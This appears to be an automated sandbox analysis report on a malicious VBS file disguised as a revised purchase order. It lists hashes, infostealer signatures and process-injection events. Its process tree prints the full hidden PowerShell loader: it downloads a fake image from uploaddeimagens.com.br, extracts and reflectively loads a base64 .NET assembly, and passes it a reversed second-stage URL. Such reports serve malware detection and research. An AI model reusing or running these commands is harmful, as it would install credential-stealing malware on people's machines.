Analysis
- max time kernel
140s - max time network
156s - platform
windows10-2004_x64 - resource
win10v2004-20230703-en - resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system - submitted
03/08/2023, 15:44
Static task
static1
Behavioral task
behavioral1
Sample
GREENN VALLEY PO REVISED NO363846348.vbs
Resource
win7-20230712-en
5 signatures
150 seconds
General
- Target GREENN VALLEY PO REVISED NO363846348.vbs
- Size 137KB
- Sample230803-s6gncaea33
- SHA256 e7a157ba1819d7af9a5f66aa9e161cce68d20792d117a90332ff797cbbd8aaa5
- MD5 e2a4a40fe8c8823ed5a73cdc9a8fa9b9
- SHA1 4194d0f9929a6fb5f43bf45d009e3fe4e3adb574
- SHA512 91b23f9e24f877d87a21f1e913180ad70ddba2a5906c0827f8b868c65bff1884dc54c2658a4a75f476a54e7154c58b623ed35afb6a69bc5589683c1a1a65b47a
- SSDEEP 3072:4s3BZiZdZA1R+fctQz2gDgfgoohjmvmlmZmzmWmXm3mFmGQjr+gMQ:TBZiZdZA1R+fctQXmvmlmZmzmWmXm3mk
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129
-
exe.dropper
https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129
Signatures
- Blocklisted process makes network request 2 IoCs
flow pid Process 10 3976 powershell.exe 20 3976 powershell.exe - Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3976 set thread context of 1456 3976 powershell.exe 89 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1728 powershell.exe 1728 powershell.exe 3976 powershell.exe 3976 powershell.exe 1456 RegAsm.exe 1456 RegAsm.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1728 powershell.exe Token: SeDebugPrivilege 3976 powershell.exe Token: SeDebugPrivilege 1456 RegAsm.exe - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 1788 wrote to memory of 1728 1788 WScript.exe 85 PID 1788 wrote to memory of 1728 1788 WScript.exe 85 PID 1728 wrote to memory of 3976 1728 powershell.exe 86 PID 1728 wrote to memory of 3976 1728 powershell.exe 86 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89 PID 3976 wrote to memory of 1456 3976 powershell.exe 89
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GREENN VALLEY PO REVISED NO363846348.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1788 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 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= [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/559/510/original/rump_private.jpg?1690504129';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.46ezabwenrtsac/42.021.871.591//:ptth');$method.Invoke($null, $arguments)"3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1456
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced
- MD5 367b1c81198bfdcdba813c2c336627a3
- SHA1 37fe6414eafaaed4abb91c1aafde62c5b688b711
- SHA512 e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vg223wvm.03q.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512